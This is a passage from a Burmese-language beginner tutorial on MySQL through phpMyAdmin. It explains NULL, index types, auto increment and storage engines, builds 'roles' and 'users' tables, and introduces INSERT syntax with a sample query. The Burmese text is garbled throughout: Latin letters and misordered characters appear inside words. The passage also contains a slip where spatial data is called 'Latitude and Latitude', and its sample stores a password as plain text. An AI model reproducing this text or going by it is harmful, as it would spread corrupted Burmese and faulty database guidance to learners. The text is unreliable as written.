Column  မှာ  Null  ကိုလက်ခံမယ်ဆိုရင်  မှတ်ပံုတင်မရှိလုိ့  မကြေပးခဲ့ရင်လည်း  လက်ခံကြေပးသွားမှာပါ။
အကယ်၍  Null  ကို  လက်မခံyူးဆိုရင်ကြေတာ့ မှတ်ပံုတင် ရှိရှိ  မရှိရှိ  တန်oုိးတစ်ခုကို  ကြေပးကို  ကြေပးရပါကြေတာ့
မယ်။  Database  က မကြေပးရင် လက်မခံကြေတာ့ပါyူး။ ဒါကြေeကာင့်  Null  ကြေပးတာကို လက်ခံသင့်တဲ့  Column
ကြေတွမှာ Null ကို ကြေရွးထားသင့်ပါတယ်။

Index –  Index  ဆိုတာ စာအုပ်တစ်အုပ်မှာ  မာတိကာနဲ့  စာမျက်နှာနံပါတ်  တပ်ကြေပးလုိက်သလုိပဲ၊  Table
ထဲက  Data  ကြေတွအတွက်  မာတိကာနဲ့  စာမျက်နှာနံပါတ်  တပ်ကြေပးလုိက်တာပါပဲ။  မာတိကာနဲ့  စာမျက်နှာ
နံပါတ် မရှိတဲ့အခါ တစ်ခုခုကိုရှာချင်ရင် တစ်ရွက်ချင်းလှန်ရှာရမှာပါ။ ရှိရင်ကြေတာ့ ကိုယ်လုိချင်တဲ့စာမျက်နှာ
ကို တန်းလှန်လုိက်လုိ့ ရနိုင်ပါတယ်။ ဒီသကြေyာပါပဲ၊  Index   မရှိတဲ့အခါ တစ်ခုခုလုိချင်ရင် တစ်ကြေeကာင်းချင်း  
ကြေထာက်ရှာရမှာပါ။ Index ရှိရင်ကြေတာ့ လုိချင်တဲ့ Record ကို တန်းကြေထာက်လုိက်လုိ့ ရနိုင်ပါတယ်။

Index အမျ ို းအစား (၅) မျ ို းရှိပါတယ်။ အ့ဲဒီထဲက Fulltext ဆိုတာ စာကြေတွရှာတဲ့အခါ အတိအကျမဟုတ်yဲ
အနည်းစပ်ဆံုးတန်oုိးကို Rank လုပ်ပြပီး gပန်ထုတ်ကြေပးနိုင်တဲ့ Search Index မျ ို းပါ။ Spatial ဆိုတာကကြေတာ့
Geolocation Data ကြေတွမှာလုိ Latitude နဲ့ Latitude ဆိုတဲ့ အချက်အလက်နှစ်ခု ဆက်စပ်သိမ်းဆည်းထား
တဲ့ အချက်အလက် အမျ ို းအစားကြေတွအတွက် အသုံးgပုရတဲ့ Index မျ ို းပါ။ 
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ဒီနှစ်ခုက ထူးgခားတဲ့ ပကြေရာင်္ဂျက်အမျ ို းအစားကြေတွမှာသာ အသုံးgပုeကမယ့် သကြေyာပဲ goစ်ပါတယ်။

ပုိအသုံးများမယ့် Index အမျ ို းအစားကြေတွကကြေတာ့ Index, Unique နဲ့  Primary တိုပဲ့goစ်ပါတယ်။ Index ဆို
တာကကြေတာ့  ကြေစာကြေစာကကြေgပာသလုိ  မာတိကာ  တပ်ကြေပးလုိက်တာပါပဲ။  အကြေgခခံအကျဆံုး  Index  အမျ ို း
အစား goစ်ပါတယ်။  Data  ကြေတွ ရှာရတာgမန်ချင်တဲ့  Column  ကြေတွမှာ  Index  ကို ကြေရွးထားကြေပးနိုင်ပါတယ်။
ဥပမာ  -  ကြေကျာင်းသားကြေတွရဲ့  အချက်အလက်ကြေတွကို  သိမ်းထားပြပီး  ခံုနံပါတ်နဲအ့ရှာများရင်  ခံုနံပါတ်ကို
Index လုပ်ရပါတယ်။ အမည်နဲ့ အရှာများရင် အမည်ကို  Index လုပ်ရပါတယ်။ ကြေကျာင်းဝင်အမှတ်နဲ့ အရှာ
များရင် ကြေကျာင်းဝင်အမှတ်ကို Index လုပ်ရပါတယ်။ ပုိကြေကာင်းသွားကြေအာင် အကုန်လံုးကို Index လုပ်လုိက်
မယ်လုိ့  ကြေgပာလုိ့ကြေတာ့ မရပါyူး။  Index  လုပ်လုိက်တဲ့အခါ  Index  ကြေတွသိမ်းoုိ့အတွက်  ကြေနရာပုိယူသွားမှာ
goစ်ပါတယ်။ Index ရှတိဲ့အတွက် Data ရှာယူရတာ gမန်သွားကြေပမယ့်၊ Data သိမ်းရတာကြေတာ့ ပုိeကာသွားနိုင်
ပါတယ်။ သိမ်းလုိက်တိုင်း  Index ကိုလည်း gပင်ကြေပးရမှာ မုိလုိ့ပ့ါ။ ဒါကြေeကာင့် အသံုးများတဲ့  Column ကြေတွကို
သာ ကြေရွးပြပီး Index လုပ်ရတဲ့သကြေyာပါ။

Unique   ကကြေတာ့ တန်oုိးကြေတွ gပန်ထပ်ရင် လက်မခံတဲ့   Index   အမျ ို းအစားပါ  ။ ဥပမာ - ခံုနံပါတ်ဆိုတာ gပန်
ထပ်ရုိးထုံးစံ  မရှိပါyူး။  ဒါကြေeကာင့်  Unique Index  ကြေပးလုိက်ရင်  ပုိကြေကာင်းပါတယ်။  Unique  goစ်သွားတဲ့
အတွက်  ရလာတဲ့အကျ ို းရလဒ်  နှစ်ခုရှိပါတယ်။  ပထမတစ်ခုက  Data  gပန်ထပ်ပြပီးသိမ်းoုိ့  ကြကိုးစားရင်
Database  က  လက်မခံတဲ့အတွက်  မကြေတာ်တစ်ဆ  gပန်ထပ်တာမျ ို း  မgoစ်ကြေတာ့ပါyူး။  ကြေနာက်တစ်ခု
ကကြေတာ့  Data    အသစ်ထပ်ထည့်တိုင်း   မာတိကာအစအဆံုး  gပန်ဆွဲရသလုိ  Index    အစအဆံုး  gပန်လုပ်oုိ့  မ  
လုိအပ်ကြေတာ့yဲ ထပ်တိုးတဲ့ တန်oုိးကိုသာ Index   မှာ   ထ  ပ်တိုးကြေပးနိုင်လုိ့   ပုိgမန်သွားမှာပဲ goစ်ပါတယ်။

Primary နဲ့ Unique ဟာ Index လုပ်ပုံ သကြေyာသyာဝ တူပါတယ်။ ကွဲgပားချက်ကကြေတာ့ Table တစ်ခုမှာ
Primary Index  လုပ်ထားတဲ့  Column  တစ်ခုသာ ရှိခွင့်ရှိgခင်း  goစ်ပါတယ်။  Unique Index  ကကြေတာ့ လုိ
သကြေလာက် သတ်မှတ်နိုင်ပါတယ်။ Primary Index ကို  Data ကြေတွစီမံoုိအ့တွက် အဓိကအကျဆံုး  Column
မှာ သတ်မှတ်ကြေပးeကကြေလ့ ရှိပါတယ်။ ဒီအတွက် ကိုယ့်yာသာကြေရွးမကြေနပါနဲ။့ ဥပမာ – ခံုနံပါတ်ကို  Primary
ထားရင်ကြေကာင်းမလား၊ ကြေကျာင်းဝင်အမှတ်ကို Primary ထားရင်ကြေကာင်းမလား ကြေရွးမကြေနပါနဲ။့ Table   တစ်ခု  
တည်ကြေဆာက်လုိက်တိုင်းမှာ   id     လုိအ့မည်ကြေပးထားတဲ့    Column   တစ်ခုထည့်သွင်းပြပီး အ့ဲဒီ   Column   ကိုသာ  
Primary    အကြေနနဲ့  ထားသင့်ပါတယ်  ။ ဒါလည်းပဲ  Naming Convention  တစ်ခုအကြေနနဲ့  ထည့်သွင်းမှတ်သား
သင့်တဲ့ အချက်goစ်ပါတယ်။
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AI – Auto Increment ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ AI ကို ကြေရွးထားလုိက်မယ့်ဆိုရင် အ့ဲဒီ Column ထဲက Data ကို
ကိုယ်yက်က ကြေပးစရာမလုိကြေတာ့ပါyူး။  Database  က အလုိအကြေလျှာက် တန်oုိးတိုးပြပီး  ထည့်ကြေပးသွားမှာ
goစ်ပါတယ်။ AI နဲ့ Primary ကို တွဲပြပီးကြေတာ့ သုံးeကပါတယ်။ ဒါကြေeကာင့် gပန်ကြေgပာချင်ပါတယ်။ Table   တစ်ခု  
တည်ကြေဆာက်လုိက်တိုင်းမှာ    id     လုိအ့မည်ကြေပးထားတဲ့    Column    တစ်ခုထည့်သွင်းပြပီး  အ့ဲဒီ    Column    ကို  
Primary   Index   ကြေပးပြပီး   AI   ကိုလည်း ကြေရွးကြေပးထား  သင့်ပါတယ်  ။

ဒီကြေလာက်ဆိုရင်  Column Property  ကြေတွနဲပ့က်သက်ပြပီး  အကြေတာ်စံုသွားပါပြပီ။ ကြေနာက်ဆံုးတစ်ချက်အကြေနနဲ့
ကြေအာက်နားက Storage Engine ကို သတိgပုသင့်ပါတယ်။  Table  ထဲမှာ  Data  ကြေတွသိမ်းဆည်းgခင်းနဲ့  စီမံ
gခင်းကို အ့ဲဒီ Storage Engine ကလုပ်ကြေပးတာပါ။ MySQL မှာ ကြေရးွချယ်အသုံးgပုစရာ Engine အမျ ို းမျ ို း ရှိပါ
တယ်။  Feature  အgပည့်စံုဆံုးနဲ့  အသုံးgပုoုိ့  အသင့်ကြေတာ်ဆံုးက  InnoDB  goစ်ပြပီး  Default  အကြေနနဲလ့ည်း
InnoDB  ကိုပဲ  ကြေရွးကြေပးထားတာကို  ကြေတွ့ ရမှာပါ။  InnoDB  ဟာ  Transaction  နဲ့  Foreign Key  အပါအဝင်
ACID  Compliance  ကြေခါ်  အချက်အလက်  တိကျလံုခြခံုမှုနက်သက်ဆိုင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ  ပါဝင်တဲ့
နည်းပညာgoစ်ပါတယ်။ သူ့ကြေလာက် Feature မစံုကြေပမယ့် Data ကြေတွပုိများများ သိမ်းနိုင်ပြပီး နည်းနည်းလည်း
ပုိgမန်တဲ့ MyISAM ကို အရင်က Default အကြေနနဲ့ သံုးeကပါတယ်။ ဒီကြေနရာမှာ အကြေသးစိတ်ကြေတာ့ မကြေgပာနိုင်ပါ
yူး။  ပကြေရာင်္ဂျက်ကြကီးကြေတွ  လုပ်ရကြေတာ့မယ်ဆိုရင်ကြေတာ့  Database  ရဲ့စွမ်းကြေဆာင်ရည်ပုိင်း  ချင့်ချနိ်နိုင်oုိ့
အတွက် ဒီ  Storage Engine ကြေတွအကြေeကာင်းကို ကြေလ့လာပြပီး သင့်ကြေတာ်တဲ့  Engine ကို ကြေရွးချယ်အသုံးgပုoုိ့
လုိနိုင်တယ်ဆိုတာကိုသာ သတိgပုပါ။ ပကြေရာင်္ဂျက်အများစု အတွက်ကြေတာ့ InnoDB ကသာလျှင် အသင့်ကြေတာ်
ဆံုးgoစ်လုိ ့သူကြေရွးကြေပးထားတဲ့အတိုင်းပဲ အသုံးgပုသွားသင့်ပါတယ်။

နမူနာအကြေနနဲ့  တည်ကြေဆာက်လုိတဲ့  roles Table  မှာ  Column  (၃)  ခုပါဝင်မှာ  goစ်ပါတယ်။  ရိှရမယ့်
Column Property ကြေတွက ဒီလုိပါ –

roles
id – INT, Primary, AI
name – VARCHAR (255)
value – INT

သတ်မှတ်ကြေပးထားပုံကို ဒီမှာgပန်eကည့်လုိလ့ည်းရပါတယ်။
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name Column အတွက် VARCHAR Column Type ကို သံုးထားလုိ့ Length ကြေနရာမှာ 255 လုိ့ကြေပးထားပါ
တယ်။  ဒီ  Property  ကြေတွ  စံုကြေအာင်သတ်မှတ်ပြပီးရင်  ကြေအာက်နားက  Save  ခလုပ်ကိုနှိပ်လုိက်ပါ။  roles
အမည်နဲ ့Column (၃) ခုပါတဲ့ Table တစ်ခုကို တည်ကြေဆာက်ရရှိသွားပြပီ goစ်ပါတယ်။
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အကြေeကာင်းအမျ ို းမျ ို းကြေeကာင့် တည်ကြေဆာက်ထားတဲ့  Table  ကို  gပန်oျက်ချင်ရင်  Operations Menu  ကိုနှိပ်
ပြပီး  ကြေပါ်လာတဲ့လုပ်ကြေဆာင်ချက်ကြေတွထဲက  Delete  the  table  ကို  နှိပ်ပြပီး  oျက်လုိရ့ပါတယ်။  အလားတူပဲ
Database ကို gပန်oျက်ချင်ရင်လည်း Database ကိုကြေရွးထားပြပီး Operations ထဲက Drop the database နဲ့
oျက်နိုင်ပါတယ်။

တည်ကြေဆာက်ထားတဲ့ Table ထဲက Data ကြေတွကို eကည့်ချင်ရင် Menu ကကြေန Browser ကိုနှိပ်eကည့်လုိ့ ရပါ
တယ်။ ကြေလာကြေလာဆယ်ကြေတာ့ yာ Data မှ ရှိဦးမှာ မဟုတ်ပါyူး။ Data ကြေတွ ထည့်သိမ်းလုိရင်ကြေတာ့ Menu
ကကြေနပဲ Insert ကိုနှိပ်ပြပီး ထည့်လုိရ့ပါတယ်။

ကြေပါ်လာတဲ့ Form မှာ id အတွက် မgoည့်yဲ အလွတ်ထားလုိရ့ပါတယ်။ Auto Increment သတ်မှတ်ထား
လုိ့  သိမ်းလုိက်ချနိ်မှာ  သူ့yာသာတန်oုိးဝင်သွားပါလိမ့်မယ်။ ကျန်တဲ့  name နဲ့  value ကြေနရာမှာ  name
အတွက် အကြေနနဲ့ User လုိ့ကြေပးပြပီး value ကြေနရာမှာ 1 ကိုကြေပးလုိက်ပါ။ တစ်ခါထဲ နှစ်ခုgoည့်ချင်ရင် ကြေအာက်
က ကြေoာင်မှာ ဆက်goည့်လုိရ့ပါတယ်။ တစ်ခုပဲ  goည့်ချင်ရင်  ကြေအာက်ကကြေoာင်ကို  မgoည့်yဲ  ချန်ထားလုိက်
လည်းရပါတယ်။ ပြပီးရင် Go ခလုပ်နှိပ်ပြပီး သိမ်းလုိက်လုိရ့ပါပြပီ။ စမ်းeကည့်နိုင်ပါတယ်။ 
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သိမ်းထားတဲ့  Data  ကို  Browser  မှာ gပန်eကည့်ပြပီး လုိအပ်ရင် gပင်တာ oျက်တာကြေတွ လုပ်လုိရ့ပါတယ်။ ဒီ
အဆင့်ကြေရာက်ပြပီဆိုရင် တစ်ခုချင်းကြေgပာoုိ့ မလုိကြေတာ့yူးလုိ့ ယူဆပါတယ်။ User Interface နဲ့ ကြေတွ့gမင်ကြေနရ
တာgoစ်လုိ့  ကိုယ်တိုင်ကြေလ့လာအသုံးgပုသွားလုိ့  ရသွားပါပြပီ။  အခုလုိပံုစံမျ ို းရကြေအာင်  ကြေနာက်ထပ်  Record
ကြေတွ ထပ်ထည့်ကြေပးပါ။

 
နမူနာအရ User, Manager နဲ့ Admin လုိ့ကြေခါ်တဲ့ Record (၃) ခုရှိကြေနပါတယ်။ User ရဲ့ value က 1 goစ်
ပြပီး Manager ရဲ့ value က 2 goစ်ပါတယ်။ Admin ရဲ့ value ကကြေတာ့ 3 goစ်ပါတယ်။ ဒါကိုမှတ်ထားကြေပး
ပါ။ ဆက်လက် ကြေလ့လာတဲ့အခါ ဒီတန်oုိးကြေတွကို အကြေgခခံပြပီး ဆက်eကည့်သွားရမှာကြေတွ ရှိလုိပ့ါ။

လက်ရှိကြေရးလက်စ ပကြေရာင်္ဂျက်မှာ အသုံးgပုoုိအ့တွက် ကြေနာက်ထပ် Table တစ်ခုထပ်ပြပီးကြေတာ့ တည်ကြေဆာက်
eကပါမယ်။ users Table ပါ။ ပါရမယ့် Column ကြေတွနဲ ့Column Property ကြေတွက ဒီလုိပါ။
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u  sers  
id – INT, Primary, AI
name – VARCHAR (255)
email – VARCHAR (255)
phone – VARCHAR (255)
address – TEXT
password – VARCHAR (255)
role_id – INT, Default (1)
photo – VARCHAR (255), Null
suspended – INT, Default (0)
created_at – DATETIME
updated_at – DATETIME, null

စုစုကြေပါင်း Column (၁၁) ခုပါဝင်ပါတယ်။ ထူးgခားချက်တစ်ချ ို ့ကို ကြေgပာgပချင်ပါတယ်။

id Column  ကကြေတာ့  Table  တိုင်းမှာပါသင့်တဲ့အတိုင်း  Primary Index  နဲ့  Auto Increment  သတ်မှတ်
ချက်ကြေတွနဲအ့တူ ပါဝင်ရမှာပါ။ name, email, phone, address နဲ့  password တိုမှ့ာ သိမ်းလုိ
တဲ့ အချက်အလက်ကြေတွကကြေတာ့ Column အမည်မှာတင် အဓိပ္ပါယ်ကြေပါ်လွင်ပြပီးgoစ်ပါတယ်။ 

အကြေရးကြကီးတာက role_id goစ်ပါတယ်။ ဒါဟာလည်း ကြေနာက်ထပ် သတိgပုရမယ့်   Naming Convention  
သတ်မှတ်ချက်တစ်ခုပါ။  roles Table  ရဲ့  id ကို  ရည်ညွှန်း  လုိက်တာပါ။ ဒီလုိမျ ို း  အချက်အလက်ကြေတွ
သိမ်းတဲ့အခါ  တgခား  Table  တစ်ခုကတန်oုိးနဲ့  ချတိ်ဆက်သိမ်းဆည်းလုိတဲ့အခါ  ကြေရှ့ကကြေန  Table  ရဲ့
Singular  Name  နဲအ့တူ  ကြေနာက်ကကြေန  _id ကို  တွဲပြပီးကြေတာ့ ကြေပးရတာပါ။  ဥပမာ  -  User  ရဲ့  Role  က
Admin  ဆိုရင်  Admin  လုိ့  တိုက်ရုိက်ထည့်သိမ်းမယ့်အစား  3  ဆိုတဲ့  id တန်oုိးကို  သိမ်းလုိက်မှာပါ။  id
တန်oုိး 3 ဆိုရင် Admin goစ်ကြေeကာင်း roles Table ကိုeကည့်ပြပီး သိနိုင်ပါတယ်။
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ဒီလုိချတိ်ဆက်အသံုးgပုတဲ့အတွက် Role Name ကြေgပာင်းတာကြေတွ၊ တပ်တိုးတာကြေတွ လုပ်လုိတဲ့အခါ roles
Table မှာ လုပ်လုိက်ယံုနဲ့ သူနဲ့ ချတိ်ဆက်အသံုးgပုထားတဲ့  users Table မှာ သက်ကြေရာက်သွားမှာ goစ်ပါ
တယ်။ users Table ထဲမှာသာ တစ်ခါထဲ ထည့်သိမ်းမယ်ဆိုရင် ဒီလုိအကြေgပာင်းအလဲမျ ို းက စီမံရခက်နိုင်ပါ
တယ်။

ဒါကြေeကာင့် ပကြေရာင်္ဂျက်တစ်ခု စတဲ့အခါ၊ သိမ်းမယ့် အချက်အလက် Data ကြေတွရဲ့ oဲွ့စည်းပံုနဲ့ ဆက်စပ်ပံုကို အ
ရင်ဆံုး စနစ်တကျ ပံုစံချoုိလုိ့အပ်ပါတယ်။ ဒီလုိအချက်အလက် oဲွ့စည်းသိမ်းဆည်းပံု စနစ်ကျgခင်း မကျgခင်း
က ပကြေရာင်္ဂျက်အကြေပါ်မှာ သိသိသာသာ သက်ကြေရာက်မှုရှိကြေစမှာ goစ်ပါတယ်။

ဒါဟာ  Convention  အကြေနနဲ့  လုိက်နာသင့်တဲ့  အကြေလ့အကျင့်ဆိုတာကို  ထပ်ပြပီးကြေတာ့  သတိgပုပါ။  ဒီလုိ
အမည်ကို ကြေပးလုိက်ယံုနဲ့ကြေတာ့ အထက်ကပံုမှာ gပထားသလုိ Table နှစ်ခု အလုိအကြေလျှာက်ချတိ်သွားမှာမျ ို း
မဟုတ်ပါyူး။  ဒါကြေပမယ့်  Laravel  လုိ  Framework  မျ ို းအပါအဝင် တစ်ချ ို ့စနစ်ကြေတွကို  ဒီလုိအမည်မျ ို းကို
eကည့်ပြပီး ဆိုလုိရင်းကို နားလည် အလုပ်လုပ်ကြေပးနိုင်တယ်ဆိုတဲ့ သကြေyာပါ။ 
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Column Property  အကြေနနဲ့  role_id အတွက်  Default (1)  လုိ့ကြေပးထားတာကို  သတိgပုပါ။ ဒါကြေeကာင့်
role_id မကြေပးခဲ့ရင် Default Value က 1 goစ်ကြေနကြေစမှာပါ။ ကြေနာက်ထပ်ကျန်ကြေနတဲ့ Column ကြေတွgoစ်eက
တဲ့  photo မှာ  User  ရဲ့  Profile  Photo  အမည်ကို  သိမ်းမှာ  goစ်ပါတယ်။  Null  လက်ခံထားပါတယ်။
suspended Column  ကိုကြေတာ့  User  ကြေတွ yန်းလုိရ့တဲ့  လုပ်ကြေဆာင်ချက်ကြေလး ထည့်လုပ်ချင်လုိ့  ထည့်
ထားတာပါ။ suspended တန်oုိး 1 goစ်ကြေနရင် User ကို yန်းထားတယ်လုိ့ မှတ်ယူအလုပ်လုပ်ချင်တာပါ။
သူ့အတွက်လည်း Default Value အကြေနနဲ့ 0 လုိ့ကြေပးထားပါတယ်။

created_at နဲ့ updated_at တိုက့လည်း အကြေရးပါတဲ့ Column ကြေတွgoစ်eကပါတယ်။ Table တိုင်းမှာ
ပါဝင်သင့်ပါတယ်။ Record တစ်ခုထည့်လုိက်ရင် ထည့်လုိက်တဲ့ ရက်စွဲ/အချနိ်ကို created_at မှာ သိမ်း
ချင်တာပါ။  Record  တစ်ခုကို gပင်လုိက်ရင်ကြေတာ့ gပင်လုိက်တဲ့  ရက်စွဲ/အချနိ်ကို  updated_at မှာ သိမ်း
မှာပါ။  ဒီနည်းနဲ့  yယ်  Record  ကို  yယ်တံုးကသိမ်းခဲ့တယ်၊  yယ်တံုးက gပင်ခဲ့တယ်ဆိုတဲ့  မှတ်တမ်းကို
ကြေနာင်လုိအပ်တဲ့အခါ အလွယ်တစ်ကူ သိရှိနိုင်မှာgoစ်ပါတယ်။  updated_at အတွက်  Null  လက်ခံထား
တာကို သတိgပုပါ။

ကြေပးထားတဲ့  Property  ကြေတွ  ကြေသချာစံုကြေအာင်  စစ်ကြေဆးပြပီး  Table  ကိုတည်ကြေဆာက်လုိက်ပါ။  Table
တည်ကြေဆာက်ချနိ်မှာ  ရှိခဲ့တဲ့အမှားက  ပကြေရာင်္ဂျက်မှာ  ကြေတာက်ကြေလျှာက်  ဒုက္ခကြေပးနိုင်ပါတယ်။  ဒါကြေeကာင့်
Column  Name  အပါအဝင်  Property  ကြေတွ  gပည့်စံုမှန်ကန်ချင်း  ရှိမရှိ  ကြေသကြေသချာချာ  ထပ်မံစစ်ကြေဆးoုိ့
အကြကံgပုပါတယ်။

SQL (Structure Query Language)
တည်ကြေဆာက်ထားတဲ့  Database Table  ထဲက  Data  ကြေတွကို  စီမံoုိအ့တွက်  SQL Query Language  ကို
အသုံးgပုရပါတယ်။  ကျယ်gပန့်ပြပီး  သီးgခားyာသာရပ်တစ်ခု  အကြေနနဲ့  ရှိကြေနတဲ့  အကြေeကာင်းအရာတစ်ခုပါ။  ဒီ
ကြေနရာမှာကြေတာ့  အကြေgခခံအကျဆံုးနဲ့  မgoစ်မကြေနလုိအပ်တဲ့  Data  စီမံမှု  လုပ်ငန်းကြေတွကို  SQL  Query  ကြေတွ
အသုံးgပုပြပီး yယ်လုိလုပ်ရလဲဆိုတာ ထည့်သွင်းကြေoာ်gပသွားမှာ goစ်ပါတယ်။

ဒီအကြေgခခံလုပ်ငန်းကြေတွကို  အတိုကြေကာက်  CRUD လုိ့ကြေခါ်eကပါတယ်။  Create, Read, Update, Delete  ကို
ဆိုလုိတာပါ။ Data ကြေတွ သိမ်းgခင်း၊ gပန်လည်ရယူgခင်း၊ gပင်ဆင်gခင်းနဲ့ ပယ်oျက်gခင်း လုပ်ငန်းကြေတွပါ။
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Create
Data ကြေတွ Table ထဲမှာ သိမ်းoုိအ့တွက် အသုံးgပုရတဲ့ SQL Syntax က ဒီလုိပါ။

INSERT INTO table (column, column, …) VALUES (value, value, …);

1. INSERT  INTO  Statement  ကိုအသုံးgပုရပြပီး  table ကြေနရာမှာ  Data  ကြေတွသိမ်းလုိတဲ့  Table
Name ကို ကြေပးရမှာပါ။ 

2. Table  Name  ကြေနာက်မှာ  ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  သိမ်းလုိတဲ့  Column  စာရင်း  ကြေပးရပါတယ်။
တစ်ချ ို ့ Column ကြေတွကို မလုိအပ်ရင် ချန်ထားလုိရ့ပါတယ်။ ဥပမာ id ဆိုရင် ကိုယ်yက်က ကြေပး
စရာမလုိလုိ ့Column စာရင်းထဲမှာ မထည့်လုိရ့ပါတယ်။

3. ပြပီးတဲ့အခါ  VALUES  နဲအ့တူ သိမ်းလုိတဲ့  Data  ကြေတွကို  တန်းစီကြေပးရပါတယ်။ အ့ဲဒီလုိ ကြေပးတဲ့အခါ
Data စာရင်းနဲ့ Column စာရင်း ကိုက်ညီမှုရှိရပါတယ်။

4. Column  စာရင်း  ထည့်မကြေပးyဲလည်း  ကြေရးလုိရ့ပါတယ်။  ဒါကြေပမယ့်  ကြေပးလုိက်တာ  ပုိကြေကာင်းပါ
တယ်။ Column စာရင်းမကြေပးရင် Value စာရင်းက Table တည်ကြေဆာက်စဉ်က ကြေပးခဲ့တဲ့အစီအစဉ်
အတိအကျ ကြေရးကြေပးရမှာgoစ်လုိ့  များရင် အဆင်မကြေgပပါyူး။  ကြေရှ့ကြေနာက်  အစီအစဉ်လဲွတာမျ ို းကြေတွ
goစ်နိုင်ပါတယ်။

5. Query Statement  တစ်ကြေeကာင်းဆုံးတဲ့အခါ ကြေနာက်ဆံုးကကြေန Semicolon  နဲ့ ပိတ်ကြေပးရပါတယ်။
တစ်ကြေeကာင်းထဲ ဆိုရင်ကြေတာ့ မထည့်လည်းရပါတယ်။

6. ကြေရးတဲ့အခါ တစ်ကြေeကာင်းထဲ၊ တစ်ဆက်ထဲ ကြေရးလုိရ့သလုိ၊ လုိင်းကြေတွ ခွဲကြေရးလုိလ့ည်းရပါတယ်။

ကြေရးထုံးက ပုံကြေသမှတ်ထားလုိရ့ပါတယ်။ အထဲက  table, column ကြေတွနဲ့  value ကြေတွကြေနရာမှာသာ
သင့်ကြေတာ်တဲ့  တန်oုိးကြေတွ အစားထုိးထည့်သွင်းကြေပးရမှာပါ။ အ့ဲဒီလုိကြေရးတဲ့အခါ  INSERT INTO  နဲ့  VALUES
တိုက့ို  SQL  Keyword  ကြေတွကို  စာလံုးအကြကီး  အကြေသး  နှစ်သက်သလုိ  ကြေရးနိုင်ပါတယ်။  ဒါကြေပမယ့်  စာလုံး
အကြကီးကြေတွနဲခ့ျည်း ကြေရးeကတဲ့ထုံးစံ ရှိပါတယ်။ ဒီကြေတာ့မှ eကည့်လုိက်ယံုနဲ့  SQL Keyword မှန်း gမင်သာကြေစoုိ့
goစ်ပါတယ်။
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Table Name    ကြေတွ    Column Name    ကြေတွကကြေတာ့    Table    တည်ကြေဆာက်တံုးက သတ်မှတ်ထားတဲ့အတိုင်း  
အကြကီးအကြေသး  အတိအကျ  goစ်ရပါတယ်။  လဲွလုိမ့ရပါyူး။  Value  ကြေတွကြေပးတဲ့အခါ  Number  ကြေတွကို  ဒီ
အတိုင်း ကြေပးလုိရ့ကြေပမယ့်၊ String ကြေတွ Text ကြေတွကိုကြေတာ့ Single Quote သုိ့မဟုတ် Double Quote ထဲမှာ
ကြေရးကြေပးရပါတယ်။  MySQL  မှာ  Column  Name  ကြေတွကို  Quote  ထဲမှာ  ထည့်ကြေပးစရာ  မလုိအပ်ပါyူး။
ထည့်ချင်တယ်ဆိုရင် Single Quote တို့ Double Quote တိုက့ို သံုးလုိ့မရပါyူး။ Back Tick ကိုသုံးကြေပးရပါ
တယ် (ဥပမာ `role_id`)။

နမူနာ SQL Query ကြေတွကြေရးစမ်းချင်ရင် phpMyAdmin ရဲ့ Menu ကကြေန SQL ကိုနှိပ်ပြပီး ကြေရးလုိရ့ပါတယ်။

နမူနာပုံမှာ  users Table  ကို  ကြေရွးထားပြပီးမှ  Menu  ကကြေန  SQL  ကိုနှိပ်တဲ့အတွက်  ညာyက်gခမ်းမှာ
users Table မှာရှိတဲ့ Column စာရင်းကို ကြေပးထားသလုိ၊ SELECT, INSERT, UPDATE စတဲ့ SQL Query
ကြေတွ  အသင့်ကြေရးကြေပးနိုင်တဲ့  ခလုပ်ကြေလးကြေတွ  ပါဝင်တာကိုလည်း  ကြေတွ့ ရမှာ  goစ်ပါတယ်။  နှိပ်eကည့်လုိရ့ပါ
တယ်။ အသင့်ကြေရးပြပီးသား SQL Query ကြေလးကြေတွ ဝင်ကြေရာက်သွားတာကို ကြေတွ့ ရမှာ goစ်ပါတယ်။
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ဒါကြေပမယ့် သူအသင့်ကြေရးကြေပးတာကို အားမကိုးသင့်ပါyူး။ SQL Query ဆိုတာ မgoစ်မကြေန ကိုယ်တိုင်ကြေရးနိုင်
oုိ့  လုိအပ်တဲ့  အကြေgခခံလုိအပ်ချက်တစ်ခုgoစ်ပါတယ်။  ဒါကြေeကာင့်  ကိုယ်တိုင်ကြေရးနိုင်ကြေအာင်  ကြေလ့ကျင့်သင့်ပါ
တယ်။ အခုလုိကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 SQL 

INSERT INTO users (
  name, 
  email, 
  phone, 
  address, 
  password, 
  created_at
) VALUES (
  'Alice',
  'alice@gmail.com',
  '123456', 
  'Yangon', 
  'password', 
  NOW()
)

ဒီ Query ကိုကူးကြေရးပြပီး Go ခလုပ်ကိုနှိပ်လုိက်ရင် users Table ထဲမှာ ကြေပးလုိက်တဲ့ အချက်အလက်ကြေတွနဲ့
အတူ  Record  တစ်ခုကြေရာက်ရှိသွားရမှာ  goစ်ပါတယ်။  Browser  ကိုနှိပ်ပြပီး  ရလဒ်ကို  eကည့်နိုင်ပါတယ်။
အကယ်၍ ကြေရးတဲ့ Query မှားကြေနရင်လည်း မှားကြေနကြေeကာင်း Error ကို ရရှိမှာgoစ်ပါတယ်။ 

နမူနာ  Query  မှာ လုိအပ်တဲ့  Column  ကြေတွကိုပဲ ကြေပးထားတာကို ကြေတွ့ရနိုင်ပါတယ်။  id ထည့်ကြေပးမထား
သလုိ Default Value ရှိတဲ့ role_id တို့  suspended တိုလုိ့ Column ကြေတွ ထည့်ကြေပးမထားပါyူး။ ပြပီး
ကြေတာ့  Null  လက်ခံတဲ့  photo နဲ့  updated_at ကိုလည်း ထည့်ကြေပးမထားပါyူး။  id ကလဲွရင် ကျန်
Column ကြေတွ ထည့်ကြေပးချင်ရင် ကြေပးလုိရ့ပါတယ်။ ကိုယ်တိုင် အမျ ို းမျ ို း gပင်ကြေရးပြပီး စမ်းeကည့်သင့်ပါတယ်။
ကြေနာက်ထပ်သတိgပုစရာကကြေတာ့  created_at အတွက်  ရက်စွဲအချနိ်ကို  ကိုယ့်yာသာရုိက်ထည့်မကြေပး
yဲ  NOW() Function  ကို  ကြေခါ်ယူကြေပးထားgခင်း goစ်ပါတယ်။  MySQL  မှာ အ့ဲဒီလုိ အသံုးဝင်တဲ့  Function
ကြေတွလည်း အများအgပား ရှိကြေနပါကြေသးတယ်။

– https://dev.mysql.com/doc/refman/8.0/en/sql-function-reference.html

